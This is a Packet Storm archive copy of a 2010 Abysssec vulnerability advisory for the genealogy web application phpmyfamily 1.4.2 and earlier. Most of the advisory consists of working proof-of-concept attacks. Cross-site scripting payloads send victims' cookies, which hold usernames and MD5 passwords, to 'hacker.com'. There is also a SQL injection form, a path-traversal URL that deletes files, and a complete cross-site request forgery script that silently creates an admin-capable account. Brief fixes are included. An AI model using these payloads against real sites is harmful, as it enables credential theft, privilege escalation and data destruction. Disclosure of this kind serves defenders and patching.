what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Month Of Abysssec Undisclosed Bugs - phpmyfamily 1.4.2

Month Of Abysssec Undisclosed Bugs - phpmyfamily 1.4.2
Posted Sep 18, 2010
Authored by Abysssec | Site abysssec.com

Month Of Abysssec Undisclosed Bugs - phpmyfamily versions 1.4.2 and below suffer from cross site request forgery, cross site scripting, information disclosure and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection, info disclosure, csrf
SHA-256 | 5abd8f12eb03d51ee727684ae4038c351d3b500291f64361b147f169eb74333b

Month Of Abysssec Undisclosed Bugs - phpmyfamily 1.4.2

Change Mirror Download
'''
__ __ ____ _ _ ____
| \/ |/ __ \ /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ <
| | | | |__| / ____ \ |__| | |_) |
|_| |_|\____/_/ \_\____/|____/

http://www.exploit-db.com/moaub-17-phpmyfamily-multiple-remote-vulnerabilities/
'''

- Title : phpmyfamily Multiple Remote Vulnerabilities.
- Affected Version : phpmyfamily <= 1.4.2
- Vendor Site : http://www.phpmyfamily.net/
- Discovery : Abysssec.com

- Description :
===============
phpmyfamily is a dynamic genealogy website builder which allows geographically dispersed family members
to maintain a central database of research which is readily accessable and editable. By having a central repository,
family members can contribute as and when information becomes available without requiring them to send it to a central 'custodian',
or disseminate via email, and allows anecdotal information and possible leads to be shared.

- Vulnerabilities:
==================
1)Information Disclosure:
--------------------------
1-1)Directory listing:
+POC:
http://site.com/phpmyfamily/admin/
http://site.com/phpmyfamily/docs/
http://site.com/phpmyfamily/images/
http://site.com/phpmyfamily/inc/
http://site.com/phpmyfamily/lang/
http://site.com/phpmyfamily/styles/
+Fix:
Create index.html in all folders.

1-2)Cookie Info:
User's Cookie contions username and MD5 password.

2)XSS:
------
+Example Vulnerable Code:

inc/passwdform.inc.php[line41-42]
@$reason = $_REQUEST["reason"];
echo "<font color=\"red\">".$reason."</font>";
+POC:
This poc send victim's cookie(contions username and MD5 password) to attacker site.
http://SITE.com/phpmyfamily/inc/passwdform.inc.php?reason=<script>document.write("<img src='hacker.com/c.php?cookie="+document.cookie +"'/>")</script>

+other poc:
a)census.php[line23-26]
http://SITE.com/phpmyfamily/census.php?ref=<script>document.write("<img src='hacker.com/c.php?cookie="+document.cookie +"'/>")</script>
b)mail.php[line 25-35]
http://SITE.com/phpmyfamily/mail.php?referer=<SCRIPT CODE>
c)track.php[line 23-26]
http://SITE.com/phpmyfamily/track.php?person=<SCRIPT CODE>
d)people.php[line ]
http://SITE.com/phpmyfamily/people.php?person=1>"><ScRiPt%20%0a%0d>alert(404385187829)%3B</ScRiPt>

3)Path Disclosure:
--------------------------------------
+POC:
http://SITE.com/phpmyfamily/admin.php?func=ged
http://SITE.com/phpmyfamily/inc/gedcom.inc.php

4)SQL Injection:
-------------
Code:
:my.php[line 32-33]
$query = "UPDATE ".$tblprefix."users SET email = '".$_POST["pwdEmail"]."' WHERE id = '".$_SESSION["id"]."'";
$result = mysql_query($query) or die(mysql_error());
+POC:
http://SITE.com/phpmyfamily/my.php?func=email&pwdEmail=bbb@aa.com',edit='Y'%00
<form method="post" action="my.php?func=email">
<input type="text" name="pwdEmail" value="bbb@aa.com',edit='Y';%00">
<input type="submit" value="send">
</form>
+Fix:
use function quote_smart:
$query = "UPDATE ".$tblprefix."users SET email = '".quote_smart($_POST["pwdEmail"])."' WHERE id = '".$_SESSION["id"]."'";
+other:
track.php[line 145-148] http://SITE.com/phpmyfamily/track.php
passthru.php [line 221-220] http://SITE.com/phpmyfamily/passthru.php
and ...

5)Delete File:
--------------
CMS's users can delete each file by this Vulnerability.
+Code: passthru.php line[218-219]
$docFile = "docs/".$_REQUEST["transcript"];
if (@unlink($docFile) || !file_exists($docFile))
+POC:
http://SITE.com/phpmyfamily/passthru.php?func=delete&area=transcript&person=00002&transcript=../../../file.ext
+Fix:
use function quote_smart:
$docFile = "docs/".quote_smart($_REQUEST["transcript"]);

6)XSRF:
-------
+POC:
<script>
function creat_request(path,parameter,method){
method = method || "post";
var remote_dive = document.createElement('div');
remote_dive.id = 'Div_id';
var style = 'border:0;width:0;height:0;';
remote_dive.innerHTML = "<iframe name='iframename' id='iframeid' style='"+style+"'></iframe>";
document.body.appendChild(remote_dive);
var form = document.createElement("form");
form.setAttribute("method", method);
form.setAttribute("action", path);
form.setAttribute("target", "iframename");
for(var key in parameter)
{
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", parameter[key]);
form.appendChild(hiddenField);
}
document.body.appendChild(form);
form.submit();
}
creat_request('http://SITE.com/phpmyfamily/admin.php?func=add',{'pwdUser':'aaaa','pwdEmail':'aa%40sss.com','pwdPwd1':'123','pwdPwd2':'123','pwdEdit':'on','pwdRestricted':'1910-01-01','pwdStyle':'default','Create':'Submit+Query'});
</script>

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close